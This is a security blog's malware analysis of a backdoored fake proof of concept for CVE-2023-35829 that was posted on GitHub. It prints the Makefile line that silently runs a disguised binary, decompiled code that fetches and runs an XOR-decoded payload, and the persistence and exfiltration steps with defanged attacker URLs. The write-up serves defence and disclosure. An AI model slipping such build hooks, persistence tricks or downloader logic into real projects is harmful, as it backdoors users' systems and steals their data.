CVE-2023-35829-POC

Somebody's Poisoned the Waterhole!

Little late to the party on this one, however I still haven’t seen a great deal of coverage online about it. Plus I’d already done the analysis - just not had the time to do a proper little write-up so here we are!

Scene: A new CVE has been published on 18th June 2023, security analysts, sys admins and the like, gather and wait for a Proof of Concept (PoC) to check if their systems are vulnerable or not.

A few days later…

pokemon_poc

Background and Discovery

On the 3rd July it was noted by a researcher that the PoC highlighted in the above image was readily available on Github 1. Quickly, the PoC had over 100 stars and 15 forks on Github. Forward a day to the 4th of July and a tweet from a Security Researcher flagged that this PoC actually had a hidden backdoor!

Intrigue got the better of me for reviewing this one. I’ve not had a great deal of time to Reverse much lately, and I’ve had an interest in exploits like this since ZephrFish ran wild with an exploit PoC a couple of years ago and done a great blog on the topic.

Essentially, the attack could be classified as a Watering Hole attack. Given that the malicious actor here has utilised a well known resource for PoCs being published (Github) and hidden their own malicious code within, making it look as legit as possible.

Analysis

I pulled a copy of the repo.. well another one that has sprung up with the exact same code2 so I could review it in more detail based on the backdoor tweet.

Makefile

The malicious actor included a binary within the src folder and named it so to look like it could be a legitimate file as part of a program build. However, upon looking into the actual Makefile contents, we see that it is being called to run the file.

$(TARGET): $(OBJECTS)
	$(CC) $(LDFLAGS) -o $@ $^
	strip $@
	./src/aclocal.m4

aclocal.m4

The file is a 64-bit ELF binary, which is now availble on VirusTotal

Static Analysis (Ghidra)

Main backdoor function address - FUN_00103488

From address 00103550, the string kworker is passed into RAX (couple byte at a time) then RDX to be compared against the current process name at 001035cb. If this is false (i.e. first run) then the following two functions are also run:

  • FUN_0010296c
  • FUN_00102fa8

The function FUN_0010296c checks the HOME environment variable, then copies the running binary to ~/.local/kworker, setting the permissions (0770) and calling another function at FUN_001028ef. This function utlises utime to timestomp what is passed to it - in this case, the new kworker binary. The new binary is then executed.

Next, the first bit of persistence is established with FUN_00102fa8. The .bashrc file is determined for the user, and the malware path (~/.local/kworker) is appended to the end of the file before also being passed to the timestomp function.

Should there already be an instance of kworker running, a “file lock” file is generated by FUN_00102d4a under the path: /tmp/.ICE-unix.pid which is also is passed to the timestomp function.

A call to fork is made to create a child process, which if the return value is < 1, a ‘do while’ loop begins with a 2 minute sleep interval. After its sleep, FUN_001025de is called which is the main function for obtaining the next stage payload via cURL.

First, the hardcoded URL is read from the .data section via FUN_0010252e: hxxp://cunniloss[.]accesscam[.]org/hash[.]php

Following this, cURL is setup to send, with a callback for writing the received data. The disassembly below shows this, as well as the payload being XOR decoded using key 0x83.

  dl_data = malloc(1);
  local_50 = 0;
  local_14 = 0x27;
  req_url = FUN_0010252e(&PTR_DAT_00106180,0x27);
  curl_global_init(3);
  curl_handle = curl_easy_init();
  CURLOPT_URL = 0x2712;
  curl_easy_setopt(curl_handle,0x2712,req_url);
  CURLOPT_WRITEFUNCTION = 0x4e2b;
  curl_easy_setopt(curl_handle,0x4e2b,FUN_00102467);
  CURLOPT_FILE = 0x2711;
  curl_easy_setopt(curl_handle,0x2711,&dl_data);
  local_38 = curl_easy_perform(curl_handle);
  if (local_50 < 2) {
    uVar1 = 0;
  }
  else {
    if (local_38 == 0) {
      local_40 = malloc(local_50 + 0x40);
      *(local_50 + dl_data) = 0;
      for (local_10 = 0; local_10 < local_50; local_10 = local_10 + 1) {
                    /* xor key 0x83 */
        *(local_10 + dl_data) = DAT_00106170 ^ *(local_10 + dl_data); 
      }

The decoded data is then executed by with a call to system().

Dynamic Analysis

Since it had been a while from doing any Reversing, I decided to try and confirm my static analysis with some basic debugging, besides.. it’s good practice anyway! As with any malware sample, it was detonated within a secure virtual environment. This section is mostly command output and screenshots with a comment as it is mostly clarifying what has been explained previously.

strace

Confirmed the checks for filename and copy/create of the malware, along with the change of permissions.

readlink("/proc/self/exe", "/home/remnux/working/CVE-2023-35"..., 1024) = 59
openat(AT_FDCWD, "/home/remnux/working/CVE-2023-35829-poc-main/src/aclocal.m4", O_RDONLY) = 3
openat(AT_FDCWD, "/home/remnux/.local/kworker", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
fstat(3, {st_mode=S_IFREG|0755, st_size=23256, ...}) = 0
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\"\0\0\0\0\0\0"..., 4096) = 4096
fstat(4, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
read(3, "\0\0\0\0\0\0\0\0\240`\0\0\0\0\0\0\7\0\0\0\26\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096
write(4, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\"\0\0\0\0\0\0"..., 4096) = 4096
read(3, "H\203\354\10H\213\5\315?\0\0H\205\300t\2\377\320H\203\304\10\303\0\0\0\0\0\0\0\0\0"..., 4096) = 4096
write(4, "\0\0\0\0\0\0\0\0\240`\0\0\0\0\0\0\7\0\0\0\26\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096
read(3, "\0H\307E\250\0\0\0\0H\307E\260\0\0\0\0H\307E\270\0\0\0\0H\307E\300\0\0\0"..., 4096) = 4096
write(4, "H\203\354\10H\213\5\315?\0\0H\205\300t\2\377\320H\203\304\10\303\0\0\0\0\0\0\0\0\0"..., 4096) = 4096
read(3, "\1\0\2\0h\0t\0p\0:\0/\0c\0u\0n\0i\0l\0o\0s\0.\0a\0"..., 4096) = 4096
write(4, "\0H\307E\250\0\0\0\0H\307E\260\0\0\0\0H\307E\270\0\0\0\0H\307E\300\0\0\0"..., 4096) = 4096
read(3, "\350]\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0006 \0\0\0\0\0\0"..., 4096) = 2776
write(4, "\1\0\2\0h\0t\0p\0:\0/\0c\0u\0n\0i\0l\0o\0s\0.\0a\0"..., 4096) = 4096
read(3, "", 4096)                       = 0
chmod("/home/remnux/.local/kworker", 0770) = 0
close(3)                                = 0

Timestomp of the “new” kworker binary

stat("/home/remnux/.local/kworker", {st_mode=S_IFREG|0770, st_size=23256, ...}) = 0
utime("/home/remnux/.local/kworker", {actime=1688722159 /* 2023-07-07T05:29:19-0400 */, modtime=1685698159 /* 2023-06-02T05:29:19-0400 */}) = 0

kworker

Locate the end of .bashrc and append the path to kworker binary, followed by timestomp

openat(AT_FDCWD, "/home/remnux/.bashrc", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3
lseek(3, 0, SEEK_END)                   = 3906
fstat(3, {st_mode=S_IFREG|0644, st_size=3906, ...}) = 0
write(3, "/home/remnux/.local/kworker\n", 28) = 28
close(3)                                = 0
stat("/home/remnux/.bashrc", {st_mode=S_IFREG|0644, st_size=3934, ...}) = 0
utime("/home/remnux/.bashrc", {actime=1688722001 /* 2023-07-07T05:26:41-0400 */, modtime=1685698159 /* 2023-06-02T05:29:19-0400 */}) = 0

bashrc

Wireshark

With this, the aclocal.m4 exited, and the kworker process had kicked in, trying to contact the payload URL every 2 minutes. At the time of analysis, the URL had been taken down.

wireshark

Payload

As alluded to in my analysis, I was unable to retrieve a copy of the payload myself as the domain no longer resolves. With that in mind, I’ve provided the screenshot that was taken by the researcher on Twitter to highlight what I can from it.

payload

Recon

Appends to /tmp/out.txt:

  • uname -a: hostname and os details
  • uptime: system uptime
  • ps -ef: all running processes in full format listing
  • mount: looks for mount points (although no target or directory provided)

Exfil

Submits a cURL file upload request to hxxps://transfer.sh/$H-$U.txt and store answer as RET1, where:

  • $H: hostname
  • $U: whoami

Second cURL command to send the returned URL from transfer.sh to the attacker URL: hxxp://cunniloss[.]accesscam[.]org/term[.]php?term=$RET1

Persistence

The payload adds an additional persistence mechanism in the form of an authorized SSH key.

Additional

There was also a command to take a screenshot and upload though these were commented out. The script also performs cleanup on the files created for exfil.


Recommendations

NEVER take code on the internet as trusted, especially when it comes to exploits. If you do not understand the code but still wish to try it out, make sure to do it in a safe and secure virtual environment. At least that way you are less likely to be pwned!


IoCs

aclocal.m4 (SHA256): caa69b10b0bfca561dec90cbd1132b6dcb2c8a44d76a272a0b70b5c64776ff6c

Payload URL: hxxp://cunniloss[.]accesscam[.]org/hash[.]php

Payload IP: 81[.]4[.]109[.]16

Exfil URL1: hxxps://transfer[.]sh - this is found in the decoded payload

Exfil URL2: hxxp://cunniloss[.]accesscam[.]org/term[.]php?term=$RET1

Running Process: [kworker/8:3]

Files/Persistence

File Description
~/.bashrc The ~/.local/kworker is appended to the end of the file
~/.local/kworker Copy of aclocal.m4 that runs as [kworker/8:3]
~/.ssh/authorized_keys Attacker key is added here
/tmp/.ICE-unix.pid Lock file - ensure 1 instance running

Other blog posts on the subject

I have since found a couple of other blog posts related to this backdoor and have listed them here for additional reference.

  • https://nsfocusglobal.com/alert-vulnerability-researchers-and-red-team-members-targeted-in-watering-hole-attack/
  • https://daniele.bearblog.dev/cve-2023-35829-fake-poc-en/

  1. https://github.com/ChriSanders22/CVE-2023-35829-poc (removed by Github) 

  2. https://github.com/apkc/CVE-2023-35829-poc (still active at time of writing) 

Share: X Facebook LinkedIn